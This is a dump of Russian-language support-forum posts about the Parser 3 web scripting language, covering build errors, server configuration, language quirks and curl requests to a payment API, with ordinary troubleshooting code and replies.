$table.$void[/code]\
\
\
Наверное, у такой работы [i]append[/i] есть причины, подождём Moko.\
Но в целом ведь легко проверить данные и не добавлять пустоту в [i]$MAIN:CLASS_PATH[/i]."
"85248","Да, в коде считается, что в каждом ряду в таблице $MAIN:CLASS_PATH есть первая колонка.\
Данный код добавляет пустой ряд (^MAIN:CLASS_PATH.count[cells] тоже покажет 0), что вызывает проблемы, проверку добавлю."
"85249","[quote]И наверно ^table.append{$anything_or_empty} должен работать аналогично тому, как при create: [/quote]\
\
^table.append[] (как и ^table.insert[]) добавляет один ряд, а не несколько. Мне кажется спорным не добавлять ряд, если об этом явно попросили."
"85250","Вопрос, наверное, детсадовский :)\
\
Страница example.com по запросу выдаёт фрагмент нужного html-кода.\
\
Хочу его взять и выдать у себя. Пишу такое:\
\
[code]$took[^string::load[http://example.com?lang=en]]$took[/code]\
\
Ни фига.\
\
В документации/стрингах никакого способа загрузить нечто [i]как строку[/i] не нашёл. Как поступить?"
"85252","[quote]Как поступить?[/quote]\
\
Использовать:\
[code]^curl:load[][/code]\
или\
[code]^file::load[][/code]"
"85254","Вот как раз ^table.append[] в данный момент вставить строку не даст:\
[code]$table[^table::create{test}]\
^table.append[]\
[/code]\
[quote]native method of 'table' accepts minimum 1 parameter(s) (0 present)[/quote]\
Но можно обойти, как обычно ;)\
[code]$table[^table::create{test}]\
^table.append[$void]\
[/code]"
"85255","$take[^file::load[text;http://example.com?lang=en]]$take.text"
"85262","У Moko на патч были нарекания, а Misha v.3 его уже не дорабатывал с тех пор."
"85264","Немного прорекламирую статью о Parser 3\
https://wiki.parser.site/index.php?title=Parser#.D0.A1.D0.B1.D0.BE.D1.80.D0.BA.D0.B0_Parser_.D0.B8.D0.B7_.D0.B8.D1.81.D1.85.D0.BE.D0.B4.D0.BD.D1.8B.D1.85_.D0.BA.D0.BE.D0.B4.D0.BE.D0.B2"
"85266","https://www.parser.ru/download/src/\
По-идее там все указанные проблемы со сборкой уже решены..."
"85267","Для FreeBSD у меня ещё готовы порты для самого Parser и для SQL-драйверов. Там с зависимостями должно быть всё хорошо. Эту часть статьи пока не дописал."
"85268","Пока получаю ошибку.\
\
/bin/sh ../../../libtool --preserve-dup-deps --mode=link --tag=CXX c++  -g -O2   -o parser3 pa_threads.o parser3.o ../../main/.libs/libmain.a ../../classes/.libs/libclasses.a ../../types/.libs/libtypes.a ../../main/.libs/libmain.a  ../../lib/gd/libgd.la ../../lib/cord/libcord.la ../../lib/md5/libmd5.la ../../lib/sdbm/libsdbm.la  ../../lib/pcre/libpcre_internal.la ../../lib/smtp/libsmtp.la ../../lib/json/libjson.la  ../../lib/punycode/libpunycode.la ../../lib/memcached/libmemcached.la ../../../src/lib/ltdl/libltdlc.la /root/gc/lib/libgc.la /root/pcre/lib/libpcre.la /root/gnome/lib/libxml2.la /root/gnome/lib/libxslt.la /root/gnome/lib/libexslt.la -lcrypt -lm\
libtool: link: c++ -g -O2 -o parser3 pa_threads.o parser3.o  /root/parser3/src/lib/ltdl/./.libs/dlopen.a ../../main/.libs/libmain.a ../../classes/.libs/libclasses.a ../../types/.libs/libtypes.a ../../main/.libs/libmain.a ../../lib/gd/.libs/libgd.a ../../lib/cord/.libs/libcord.a ../../lib/md5/.libs/libmd5.a ../../lib/sdbm/.libs/libsdbm.a ../../lib/pcre/.libs/libpcre_internal.a ../../lib/smtp/.libs/libsmtp.a ../../lib/json/.libs/libjson.a ../../lib/punycode/.libs/libpunycode.a ../../lib/memcached/.libs/libmemcached.a ../../../src/lib/ltdl/.libs/libltdlc.a /root/gc/lib/libgc.a -ldl /root/pcre/lib/libpcre.a -L/root/gnome/lib /root/gnome/lib/libexslt.a /root/gnome/lib/libxslt.a /root/gnome/lib/libxml2.a -lcrypt -lm\
ld: error: undefined symbol: new_disabled()\
>>> referenced by pa_memory.h:125 (../../src/include/pa_memory.h:125)\
>>>               table.o:(std::__1::ostreambuf_iterator<char, std::__1::char_traits<char> > std::__1::__pad_and_output<char, std::__1::char_traits<char> >(std::__1::ostreambuf_iterator<char, std::__1::char_traits<char> >, char const*, char const*, char const*, std::__1::ios_base&, char)) in archive ../../classes/.libs/libclasses.a\
c++: error: linker command failed with exit code 1 (use -v to see invocation)\
*** Error code 1\
\
Stop.\
make[3]: stopped in /root/parser3/src/targets/cgi\
*** Error code 1\
\
Stop.\
make[2]: stopped in /root/parser3/src/targets\
*** Error code 1\
\
Stop.\
make[1]: stopped in /root/parser3/src\
*** Error code 1\
\
Stop.\
make: stopped in /root/parser3"
"85269","Если да, то там проявляется ошибка в libc++, собирать с --disable-stringstream. Подробности по ссылке: https://bugs.llvm.org/show_bug.cgi?id=40161"
"85270","Выделил в отдельный файл автоматическую сборку из исходных текстов без необходимости ручного редактирования buildall. Новая версия будет скачана с сайта.\
\
Добавил сборку из портов:\
https://wiki.parser.site/index.php?title=Parser#.D0.A1.D0.B1.D0.BE.D1.80.D0.BA.D0.B0_Parser_.D0.B8.D0.B7_.D0.B4.D0.B5.D1.80.D0.B5.D0.B2.D0.B0_.D0.BF.D0.BE.D1.80.D1.82.D0.BE.D0.B2"
"85271","Пробовал на 12.1 и на 11.3.\
\
Сейчас попробую с опцией."
"85272","С опцией успех и на 11.3, и на 12.1.\
Добавил в статью."
"85274","Проспонсируете? \
Заходите по HTTP, там ругаться на сертификат не будет."
"85275","А какой тогда вообще смысл ставить его? \
Let's Encrypt вам в помощь."
"85276","... используя профили и настраивая пользователей и группы. Заодно под каждый сайт будет еще и свой пул воркеров, размер которого тоже стоит настроить. Например так:\
\
[code]\
fcgiwrap_enable=\"YES\"\
\
fcgiwrap_profiles=\"site1 site2\"\
\
fcgiwrap_flags=\"-c 24\"\
\
fcgiwrap_site1_socket=\"unix:/var/run/fcgiwrap/fcgiwrap.site1.socket\"\
fcgiwrap_site1_socket_owner=\"user1\"\
fcgiwrap_site1_socket_group=\"group1\"\
fcgiwrap_site1_user=\"user1\"\
fcgiwrap_site1_group=\"group1\"\
\
fcgiwrap_site2_socket=\"unix:/var/run/fcgiwrap/fcgiwrap.site2.socket\"\
fcgiwrap_site2_socket_owner=\"user2\"\
fcgiwrap_site2_socket_group=\"group2\"\
fcgiwrap_site2_user=\"user2\"\
fcgiwrap_site2_group=\"group2\"\
[/code]"
"85277","Да я работаю над описанием, как Parser с FcgiWraper заключить в отдельную клетку. Ещё не всё успел."
"85278","Думаете, совсем смысла нет?"
"85279","Спасибо за подсказку. Установил сертификаты."
"85280","Добавил в статью."
"85281","Опубликовал:\
\
https://wiki.parser.site/index.php?title=Parser#.D0.97.D0.B0.D0.BF.D1.83.D1.81.D0.BA_Parser_.D0.B2_.D0.B8.D0.B7.D0.BE.D0.BB.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.BD.D0.BE.D0.B9_.D0.BA.D0.BB.D0.B5.D1.82.D0.BA.D0.B5"
"85282","Теперь для этих OS проверка использования new/delete не делается и проблем с компиляцией нет. А то не похоже, что разработчики clang скоро поправят этот баг. :)"
"85283","Успех на 11.3 и на 12.1."
"85284","https://wiki.parser.site/index.php?title=Parser#.D0.97.D0.B0.D0.BF.D1.83.D1.81.D0.BA_Parser_.D0.B2_.D0.B8.D0.B7.D0.BE.D0.BB.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.BD.D0.BE.D0.B9_.D0.BA.D0.BB.D0.B5.D1.82.D0.BA.D0.B5"
"85285","https://wiki.parser.site/index.php?title=Parser#.D0.97.D0.B0.D0.BF.D1.83.D1.81.D0.BA_Parser_.D0.B2_.D0.B8.D0.B7.D0.BE.D0.BB.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.BD.D0.BE.D0.B9_.D0.BA.D0.BB.D0.B5.D1.82.D0.BA.D0.B5\
\
Вынес FcgiWrap+Parser в отдельную клетку.\
Теперь Nginx машет совочком в своей песочнице, сайт лепит куличики в своей из песочка, который поступает из песочницы с MySQL.\
\
Естественно, таких песочниц для отдельных сайтов можно наплодить много."
"85286","Вроде обновили недавно."
"85287","Друзья, подскажите, плз, как кошерно работать с каналами WebSocket, у которых адрес вида [code]ws://site.name:8000/Report[/code]? Насколько понял, cURL тут не очень подойдёт? Или ошибаюсь?\
\
Спасибо заранее!"
"85288","https://gist.github.com/htp/fbce19069187ec1cc486b594104f01d0"
"85289","write failed: Permission denied (13), actual filename '/var/www/helpert/public_html/my/etc/hello.txt'\
/var/www/helpert/public_html/my/etc/writetest.htm(5:6)\
\
\
Апач работает от имени www-data(33)\
\
Парсер и все .htm имеют gid=33, uid=1000 поскольку не удалось создать scp-пользователя с uid=33.\
\
Сервер под контролем."
"85290","после исправления на 1000 заработало"
"85291","Но вот такую ошибку получаю прямо сразу:\
[code]'options' failed to set option 'url': invalid url scheme 'ws://site.su:8000/Report' [curl]\
[/code]\
\
Куда копать? Нужно заставить работать..."
"85292","Протокол очевидно надо поменять..."
"85293","Устанавливаю Parser 3 на локальный комп, для доработки сайта.\
OSX 10.15.4\
Apache 2.4.41\
Если кратко: всё сделал как указано, сервер отвечает: 404 Not Found\
\
Подробно\
- Скачал https://www.parser.ru/f/1/download/parser345/parser3_4_5_macosx1010x64.tar.gz\
- Скопировал в /Library/WebServer/Documents/cgi-bin всё, что оказалось в папке parser3_4_5_macosx1010x64 после распаковки\
- Убрал защиту с файла parser3.cgi, чтобы OSX дала запуститься. Запустил из консоли: запускается, что-то отвечает.\
- Назначил файлу parser3.cgi атрибуты 755\
- Исправил http.conf. Добавил в конец файла:\
Action parser3-handler /cgi-bin/parser3.cgi\
AddHandler parser3-handler html\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>\
- Перезапустил Apache\
- Проверил синтаксис http.conf:  apachectl -t Ответ: OK\
- Скачал https://www.parser.ru/f/1/utils/parser3test_english.zip, распаковал и скопировал в /Library/WebServer/Documents\
- На запрос http://localhost/_test.html сервер отвечает: 404 Not Found\
- Лог Apache с момента перезагрузки\
[Sun May 24 00:56:48.299992 2020] [mpm_prefork:notice] [pid 19445] AH00169: caught SIGTERM, shutting down\
[Sun May 24 00:56:48.471339 2020] [mpm_prefork:notice] [pid 19464] AH00163: Apache/2.4.41 (Unix) configured -- resuming normal operations\
[Sun May 24 00:56:48.471551 2020] [core:notice] [pid 19464] AH00094: Command line: '/usr/sbin/httpd -D FOREGROU\
- Может, скрипт неправильно работает в этой ОС? Пытался скомпилировать, не получилось. Там что-то надо скачать, процесс зависает.\
\
FAQ смотрел. Гуглил. Чё можно предпринять дальше, посоветуйте."
"85294","Обратиться к http://localhost/cgi-bin/parser3.cgi \
Если не будет ответа от парсера (ошибка 404) : искать, где на самом деле находится директория /cgi-bin/, вероятно она не в /Library/WebServer/Documents/cgi-bin.\
\
Если будет ответ от парсера - то вероятно DocumentRoot сайта не в /Library/WebServer/Documents.\
\
[quote]Пытался скомпилировать, не получилось.[/quote]\
\
Странная идея, учитывая что \"Запустил из консоли: запускается, что-то отвечает\". У вас вообще не дошло дело до запуска парсера из себ-сервера,\
проблема в конфигурации веб-сервера (ну или файлы выложены не в то место)."
"85295","Если объявить в классе OPTIONS:dynamic и попытаться из класса обратиться к несуществующей переменной - всегда ошибка.\
\
\
Обойти задание GET_DEFAULT не получается, т.к. есть только static или dynamic.Т.е. переопределить OPTIONS класса обратно невозможно. Никаких any. \
Создать 2 метода static & dynamic - тоже.\
\
Как быть:\
\
Проверено в 3.4.5 и 3.4.6b\
\
Пример:\
\
[code]\
@CLASS\
Model\
\
@OPTIONS\
locals\
partial\
dynamic\
\
@GET_DEFAULT[sName][result]\
	some...\
#end @GET_DEFAULT[]\
\
@create[hData]\
$self._data[$hData]\
\
@static:GET_ALL[]\
$self._all[sadasd]\
\
[/code]\
\
Попытаемся выполнить:\
\
[code]\
$Model:ALL\
[/code]\
\
получаем exception\
\
[code]GET_DEFAULT\
method of 'Model' is not allowed to be called statically[/code]\
\
Обойти можно только сложными reflection:field, но только это очень не удобно.\
\
Это баг, фича? \
\
Вариант с 2 методами static или dynamic возможно?\
\
Если даже будет any, то внутри можно проверять логику через ^reflection:dynamical[] \
Хотя не думаю что это будет оптимально с точки зрения производительности."
"85296","Уберите dynamic из опций - он тут не нужен совсем. ;)\
\
Практически имеет смысл только опция static, чтобы сделать класс строго-статическим. Ну и вообще статические методы стоит заыть навсегда и использовать объекты."
"85297","При наличии autouse метода и объявлении @BASE без @USE не происходит использования @autouse.\
\
Пример:\
\
[b]class.p[/b]\
\
[code]\
@CLASS\
ApplicationController\
\
@OPTIONS\
locals\
\
@BASE\
LogonApplication\
\
[/code]\
\
\
[b]main.html[/b]\
[code]\
@autouse[sClassName]\
	^use[${sClassName}.p]\
}\
\
\
\
@main[]\
^use[class.p]\
\
[/code]\
\
Получаем ошибку: [b]'LogonApplication': undefined class in @BASE[/b]\
\
\
В версии 3.4.4 работало и работает.\
В версии 3.4.6b тоже работает.\
\
В 3.4.5 - нет."
"85298","Насчет dynamic: \
Мы его включили чтобы найти все места обращения из static -> dynamic и из dynamic -> static. \
Т.к. не получается запустить на 3.4.5 и возникают хаотичные проблемы. Но так видно проблемные места.\
\
Пробовали $STRICT-VARS(true) но с ней все совсем плохо. \
Она валится даже так:\
\
[code]switch\
Use of uninitialized value[/code]\
\
при вызове:\
\
[code]\
	^switch[$hParam.type]{\
		^case[map]{\
			$result[^self.map[$uKey;$hParam.name]]\
		}\
...\
[/code]\
\
При этом switch не перекрыт и ожидаем стандартный оператор. Но нет.\
\
Мы используем паттерн ActiveModel. Поэтому статические метода для работы с Таблицей, а динамические для работы с Записью. \
Не вижу как здесь можно использовать объект."
"85299","Один объект энкапсулирует таблицу, второй запись. В записи храним ссылку на объект с таблицей. То, что во всяких Питонах и Руби используют классы вместо объектов — это плохая практика, которую не обязательно копировать. :)"
"85300","[url=https://www.parser.ru/forum/?id=84132]Которую обсуждали в контексте версии 3.4.5[/url]?"
"85302","moko, спасибо за ответ. Можно уточнить? Я не IT спец., могу путаться в терминах.\
\
> Обратиться к http://localhost/cgi-bin/parser3.cgi\
Не понял, что значит обратиться. Ввёл это в адресную строку браузера. Тот предлагает скачать файл \"parser3.cgi\". Это и значит, что нет ответа от парсера?\
\
DocumentRoot находится в /Library/WebServer/Documents, я считаю. Почему? Если убрать из конфигурации сервера директиву AddHandler..., то index.html, лежащий в /Library/WebServer/Documents, виден в браузере как http://localhost/index.html.\
\
А может так быть, что парсер работает, но не отвечает? Сервер берёт html-файл, передаёт его на обработку парсеру, а тот не отвечает. Поэтому и веб сервер отвечает: 404 Not Found.\
\
Вот строки из httpd.conf, которые могут относиться к проблеме:\
DocumentRoot \"/Library/WebServer/Documents\"\
<Directory \"/Library/WebServer/Documents\">\
	Options FollowSymLinks Multiviews\
    	MultiviewsMatch Any\
	AllowOverride None\
   	Require all granted\
</Directory>\
<IfModule alias_module>\
	ScriptAliasMatch ^/cgi-bin/((?!(?i:webobjects)).*$) \"/Library/WebServer/Documents/cgi-bin/$1\"\
</IfModule>\
<Directory \"/Library/WebServer/Documents/cgi-bin\">\
    AllowOverride None\
    Options None"
"85303","[quote]Это и значит, что нет ответа от парсера?[/quote]\
\
Раз предлагает скачать, значит веб-сервер считает парсер обычным файлом, а не cgi-скриптом.\
На мой взгляд директория /cgi-bin/ настроена странно:\
\
[quote]<Directory \"/Library/WebServer/Documents/cgi-bin\">\
AllowOverride None\
Options None[/quote]\
\
Вероятно должно быть Options +ExecCGI и AddHandler cgi-script .cgi. Вообще обычно используют \
просто директиву ScriptAlias (а не ScriptAliasMatch с исключениями + Directory), подробнее можно \
посмотреть например здесь, сложного там ничего нет:\
\
https://httpd.apache.org/docs/2.4/howto/cgi.html"
"85304","... а о том, что в хеше hparams нет поля type. Проверить элементарно:\
\
[code]\
#!./parser3\
@auto[]\
  $MAIN:STRICT-VARS(true)\
\
@main[]\
  ^func[]\
  ^func[$.type[test]]\
\
@func[params]\
    ^switch[^if(^params.contains[type]){$params.type}]{\
        ^case[test]{test}\
        ^case[DEFAULT]{DEFAULT}\
    }\
[/code]\
\
p.s. Есть мнение, что не стоит использовать специфические возможности Парсера — options dynamyc, strict-vars и пр. — если четко не знаете для чего они нужны именно в вашем коде и не уверены, что понимаете как они работают. :)"
"85305","moko, спасибо, вы профи. За 2 ответа-вопроса выявили проблему. В конфигурации Апачи по умолчанию был отключен модуль работы с CGI. Убрал знак комментария со строки\
LoadModule cgi_module libexec/apache2/mod_cgi.so\
и парсер заработал."
"85306","Parser 3.4.6b (compiled on x86_64-unknown-linux-gnu) под Ubuntu.\
Свежесобранный.\
\
bug.html:\
[code]@main[]\
<pre>\
	$env:PARSER_VERSION\
	^$CLASS_GETTER_UNPROTECTED(^if($self.CLASS_GETTER_UNPROTECTED)[true;false])\
\
	$self.storage.test\
</pre>\
\
\
@GET_storage[]\
$self.storage[$.test[abc]]\
\
$result[$self.storage]\
\
\
# @GET_storage[]\
# $result[$.test[abc]][/code]\
\
Под win с флагом [i]$CLASS_GETTER_UNPROTECTED(true)[/i] в [i]@conf[/i] всё работает.\
В unix — ошибка [i]this property has no setter method (@SET_storage[value])[/i].\
\
Update: Собственно, в win даже [i]$CLASS_GETTER_UNPROTECTED(true)[/i] не нужен — работает и без него.\
\
Или это в виде опции  никогда и не работало?\
Но какой-либо установки [i]CLASS_GETTER_UNPROTECTED[/i] в локальных исходных текстах под win, из которых собирал версию, где нет исключения, не наблюдаю."
"85307","http://redmine.parser.ru/issues/1157#note-17"
"85308","Локально в [i]pa_class.h[/i] [i]#define CLASS_GETTER_UNPROTECTED[/i] раскоментирована, а в исходниках для unix нет.\
\
Видимо я тогда изменил и файл больше не обновлялся.\
\
Да, пересобрал и заработало.\
Спасибо."
"85309","Добрый день\
имеем  \
[code]		\
\
 A = ^a_class:TEST[$.litera[A]] <br>\
 B = ^a_class:TEST[$.litera[B]] <br>\
 C = ^a_class:TEST[$.litera[C]] <br>\
 D = ^a_class:TEST[$.litera[D]] <br>\
 E = ^a_class:TEST[$.litera[E]] <br>\
\
########################\
\
@CLASS\
a_class\
\
@OPTIONS\
locals\
static\
\
@TEST[Params]\
^if($Params.litera eq \"C\"){\
  ^return[]\
}\
\
$result[$Params.litera]\
\
[/code]\
\
результат скрипта немного обескураживающий:\
в чем может быть проблема и как ее рущшить ?\
\
[b][color=\"#ff0000\"]\
A = A\
B = B\
C =\
D =\
E =\
[/color][/b]"
"85310","Так с версии 3.4.0. Проблема решается добавлением $result[] в начале метода.\
\
Вообще в приведенном коде есть тонкий момент. Конструкция ^return[] не возвращает пустой результат. Она осуществляет выход из метода, а результатом его работы будет весь вывод до вызова ^return[], то есть переносы строк и два пробела (это легко увидеть, добавив туда непробельный символ). То есть если бы в вашем коде было ^return[z], все бы работало корректно. Получается в парсере сейчас нет официальной возможности вернуть пустой результат, кроме обходных вариантов типа использования пустой переменной (^return[$empty]). \
\
Что с этим сделать без потери совместимости и чтобы было логично - пока непонятно. :( Придумываются только странные варианты типа ^return[;]"
"85311","Спасибо буду экспериментировать."
"85312","Если я правильно понял, то обескураживает тут то, что D и E вернулись без результата (ну или он пробельный, и его не видно). Но у меня это не воспроизводится, скопированный код дает нормальный результат:\
\
\
[quote]A = A\
B = B\
C =\
D = D\
E = E[/quote]\
\
version 3.4.6b (compiled on amd64-pc-win64)"
"85313","[quote]Получается в парсере сейчас нет официальной возможности вернуть пустой результат, кроме обходных вариантов типа использования пустой переменной (^return[$empty]).[/quote]\
\
[code]$result[] + ^return[][/code]\
\
\
[code]@main[]\
[^test[]]\
\
\
@test[]\
a\
b\
c\
$result[result]\
\
^return[][/code]\
\
Получим ожидаемое [i][result][/i]."
"85314","Вижу нелогичность в том, что можно сделать ^return[result], а для возврата пустого значения ^return[] сказать нельзя. Понятно, что можно сказать $result[] ^return[], или например ^return[$anything-empty]. Подумалось, что можно сказать ^return{}, но оказалось там баг. :) Поправлю."
"85316","Именно этот результат я и ожидал."
"85319","При правильном копировании должно было получиться как у автора топика и в 3.4.6b (у меня получилось). Но тут есть еще более тонкий момент. :)\
\
Методы, которые используют $result и которые его не используют по внутренней логике парсера работают заметно по разному. Если в коде написать 'z', то в случае использования $result этот вывод будет проигнорирован, иначе попадет в результат работы метода. И есть оптимизация - если мы знаем, что $result используется - весь вывод метода игнорируется в момент его появления. Поскольку заранее понять факт использования $result нет возможности, это делается в момент выполнения метода. И оказалось, что код проверки использования не работает, если присвоение $result происходит в самом конце метода.\
\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/types/pa_vmethod_frame.h?revision=1.124&view=markup#l242\
\
Поэтому если в примере автора топика написать $result[$Params.litera] z, то все будет работать корректно. Возможно в вашем случае после присвоения оказались пробельные символы, и поэтому все тоже сработало ожидаемым образом. Доработаем, но правило \"Каждый метод должен будет или возвращать результат через $result во всех вариантах своего выполнения или не использовать $result вовсе\" не исчезнет - если первой вызвать ветвь кода, где $result не используется - C = ^a_class:TEST[$.litera[C]] - проблема останется."
"85320","Зачастую весь вывод метода является результатом его работы, но нежелательно, чтобы в результат попадали пробельные символы от переводов строк между методами:\
[code]@one[]\
this\
is\
my\
result\
\
\
@two[]\
…[/code]\
\
У нас есть [i]result[/i] в локальных переменных, но он выбросит вообще все пробельные символы вывода.\
\
Приходится оборачивать всё в явный [i]result[/i]:\
[code]@one[]\
$result[this\
is\
my\
result]\
\
\
@two[]\
…[/code]\
\
Не стоит ли расширить локальный [i]result[/i] ещё одним вариантом, например, [i]optimized-result[/i], при указании которого производилась бы оптимизация пробельных символов по аналогии с [url=\"https://www.parser.ru/docs/lang/opuntainttaint.htm\"]optimized-html[/url] и отбрасывались бы пробельные символы и переводы строк в начале и конце вывода метода?\
\
[code]@one[][optimized-result]\
this\
is\
my\
result\
\
\
@two[]\
…[/code]"
"85321","Исправлено в HEAD. Вообще должны были раньше заметить, поскольку ^return(2+2) тоже падало. :( Но зато теперь наверное можно рекомендовать конструкцию ^return{} как способ вернуться из метода с пустым результатом, внесу в документацию."
"85322","Пустые переносы строк в конце метода уже удаляются. То есть приведенный пример уже работает. :)\
\
Ну и optimized-result сделать не так просто - если реализовать его во время исполнения - будет замедление работы. Во время компиляции - заметно усложнит логику - надо где-то хранить состояние и корректно его сбрасывать (реализация обычного result удобна тем, что не имеет состояния). А нам скорее надо упрощать компилятор, чем еще более усложнять его... :("
"85323","У меня стояли права на директорию 644, соответственно Парсер не мог в нее писать, а при невозможности записи хешфайла выдается одна и та же ошибка. \
После того как исправил на 664, дав таким образом разрешение на запись группе, на которую записан Парсер, ошибка исчезла. \
\
chown -R MyUser:www-data /var/www"
"85324","[quote]Ну и optimized-result сделать не так просто - если реализовать его во время исполнения - будет замедление работы. Во время компиляции - заметно усложнит логику - надо где-то хранить состояние и корректно его сбрасывать (реализация обычного result удобна тем, что не имеет состояния).[/quote]\
\
Так а текущий [i][result][/i] и отбрасывание пробельных символов как работает?\
Нельзя по аналогии добавить ещё одно преобразование, которое, понятно, будет требовать ресурсов, но только в случае использования?\
Или ресурсы требуются на саму поддержку ещё одного варианта?"
"85325",">Так а текущий [result] и отбрасывание пробельных символов как работает?\
\
\"реализация обычного result удобна тем, что не имеет состояния\"\
\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/main/compile.y?revision=1.289&view=markup#l1017\
\
То есть если мы в режиме \"result\" - пропускаем пробельные символы. Как в yylex завести/передать состояние - даже боюсь предположить, там и без этого весьма запутанно... :( Вероятно это надо реализовывать выше, на уровне грамматики делать."
"85326","Подскажите, пожалуйста, новичку, как средствами парсера сформировать запрос и обработать ответ (откуда извлекать данные)."
"85327","[url=https://www.parser.ru/docs/lang/]File[/url] для HTTP.\
[url=https://www.parser.ru/docs/lang/curlclass.htm]Curl[/url] для HTTPS.\
\
[url=https://www.parser.ru/faq/#forum]Как задать вопрос чтобы получить максимально полезный ответ?[/url]"
"85328","Спасибо. А нет ли примеров кода? А то в документации примеров нет, а по описанию не очень понятно."
"85329","[quote]А то в документации примеров нет[/quote]\
\
Как это нет?\
\
[url=https://www.parser.ru/docs/lang/fileload.htm]File::load[/url]\
[code]Пример загрузки файла с HTTP-сервера \
$file[^file::load[text;http://www.parser.ru/; \
   $.timeout(5) \
]] \
Программное обеспечение сервера: $file.SERVER \
<hr /> \
<pre>$file.text</pre>[/code]\
\
[url=https://www.parser.ru/docs/lang/curlload.htm]Curl::load[/url]\
[code]$file[^curl:load[ \
   $.url[https://store.artlebedev.ru/] \
   $.useragent[Parser3] \
   $.timeout(10) \
   $.ssl_verifypeer(0) \
]][/code]\
\
[url=https://www.parser.ru/docs/lang/filefields.htm]Поля File[/url]\
\
\
[url=https://www.parser.ru/faq/#forum]Как задать вопрос чтобы получить максимально полезный ответ?[/url]\
[quote]2. В теле сообщения напишите что вы хотели получить, что вы делали и что получили[/quote]"
"85330","спасибо\
\
а как curl  установить? скачать отсюда https://curl.haxx.se/download.html и полодить в папку /cgi-bin/lib -- парсер его сам подхватит?"
"85331","Если Unix - надо ставить средствами операционной системы и перед загрузкой вызвать ^curl:options[ $.library[libcurl.so.4] ].\
\
Если Windows - правильнее взять [url=\"https://www.parser.ru/f/1/download/nightly/parser3_4_6b_ru_2020_02.exe\"]установщик из ночных сборок[/url], там в комплекте актуальная libcurl.dll."
"85332","ОС Ubuntu Linux"
"85333","сейчас такой ответ от парсера \
\
version\
\
failed to load curl library libcurl.so: libcurl.so: cannot open shared object file: No such file or directory"
"85334","\"перед загрузкой вызвать ^curl:options[ $.library[libcurl.so.4] ]\""
"85335","Добрый день,\
\
Возникла проблема при интеграции виджета Яндекс.Кассы.\
\
[code]\
$form[\
	$.user[shop_id]\
	$.password[password]\
	$.Idempotence-Key[11111111]\
	$.jsonParams[{\"amount\":{\"value\":\"2.00\",\"currency\":\"RUB\"},\"confirmation\":{\"type\":\"embedded\" },\"capture\":True,\"description\":\"order72\"}]\
]\
^curl:session{\
	$kassa[^curl:load[\
		$.url[https://payment.yandex.net/api/v3/payments]\
		$.post(1)\
		$.ssl_verifypeer(0)\
		$.httppost[$form]\
	]]\
}\
[/code]\
\
Собственно, такая конструкция не работает, реакции ноль.\
\
Если убрать post-запрос, то реакция есть:\
[code]{ \"type\" : \"error\", \"id\" : \"806aae16-08bc-4321-ba20-dd328a5a62b2\", \"code\" : \"invalid_credentials\", \"description\" : \"Authentication by given credentials failed\", \"parameter\" : \"Authorization\" } [/code]\
\
Подскажите, в чем может быть проблема?"
"85336","[quote]реакции ноль.[/quote]\
\
Как это \"ноль\"? Не пробовали вывести ^json:string[$kassa]? Там все видно:\
\
\"REASON-PHRASE\":\"Content type 'multipart\\/form-data;boundary=------------------------83bdd4d6108eba8f' not supported\",\
\
Но в общем замена на $.postfields[^form.foreach[k;v]{$k=^taint[$v]}[&]] не особо помогает:\
\
\"REASON-PHRASE\":\"Content type 'application\\/x-www-form-urlencoded' not supported\",\
\
Так что читайте документацию. :)"
"85337","Читаю)\
\
Выдает ошибку 415, в доках яндекса по не ничего нет.\
\
Собственно, по докам надо передать параметры:\
[code]curl https://payment.yandex.net/api/v3/payments \\\
  -X POST \\\
  -u <Идентификатор магазина>:<Секретный ключ> \\\
  -H 'Idempotence-Key: <Ключ идемпотентности>' \\\
  -H 'Content-Type: application/json' \\\
  -d '{\
        \"amount\": {\
          \"value\": \"2.00\",\
          \"currency\": \"RUB\"\
        },\
        \"confirmation\": {\
          \"type\": \"embedded\"\
        },\
        \"capture\": true,\
        \"description\": \"order72\"\
      }'[/code]\
\
Передаю:\
[code]\
$form[\
	$.Idempotence-Key[111]\
	$.jsonParams[{\"amount\":{\"value\":\"2.00\",\"currency\":\"RUB\"},\"confirmation\":{\"type\":\"embedded\" },\"capture\":True,\"description\":\"order72\"}]\
]\
^curl:session{\
	$kassa[^curl:load[\
		$.url[https://payment.yandex.net/api/v3/payments]\
		$.content-type[application/json]\
		$.post(1)\
		$.ssl_verifypeer(false)\
		$.userpwd[user:pwd]\
		$.httppost[$form]\
	]]\
}\
[/code]\
\
Скорее всего неправильно передаю параметры. Но не могу понять, где ошибка."
"85338","... то получится что-то такое:\
\
[code]$kassa[^curl:load[\
  $.url[https://payment.yandex.net/api/v3/payments]\
  $.post(true)\
\
  $.userpwd[shop_id:shop_key]\
  $.httpheader[\
     $.[Content-Type][application/json]\
     $.[Idempotence-Key][111]\
  ]\
  $.postfields[{\"amount\":{\"value\":\"2.00\",\"currency\":\"RUB\"},\"confirmation\":{\"type\":\"embedded\" },\"capture\":True,\"description\":\"order72\"}]\
]]\
[/code]\
\
p.s. Никогда не надо отключать верификацию ssl-сертификатов, особенно для платежных шлюзов. :)"
"85339","Да, примерно до такой конструкции дошел.\
\
Но все-равно ответ 400 (Неправильный запрос. Чаще всего этот статус выдается из-за нарушения правил взаимодействия с API)."
"85340","... если пройдет, то включайте verbose (опции verbose и stderr) для curl:file и смотрите в чем различия в запросах и настраивайте параметры curl:file, чтобы запросы совпадали.\
\
Если не получается даже через curl, то пишите в техподдержку Кассы."
"85341","Собственно, ответ из поддержки:\
[quote]\
Вы не верно отправляете запрос.\
\
Такой запрос к нам поступает от Вас:\
\
------------------------------43182f1e74f4\
Content-Disposition: form-data; name=\"userpwd\"\
\
shopid:key\
------------------------------43182f1e74f4\
Content-Disposition: form-data; name=\"jsonParams\"\
\
{\"amount\":{\"value\":\"2.00\",\"currency\":\"RUB\"},\"confirmation\":{\"type\":\"embedded\" },\"capture\":True,\"description\":\"order72\"}\
------------------------------43182f1e74f4--\
\
В теле запроса должно присутствовать только:\
\
{\"amount\":{\"value\":\"2.00\",\"currency\":\"RUB\"},\"confirmation\":{\"type\":\"embedded\" },\"capture\":True,\"description\":\"order72\"}[/quote]"
"85342","... передаете данные вместо заголовков в теле запроса, неправильно выставляете content-type. \
\
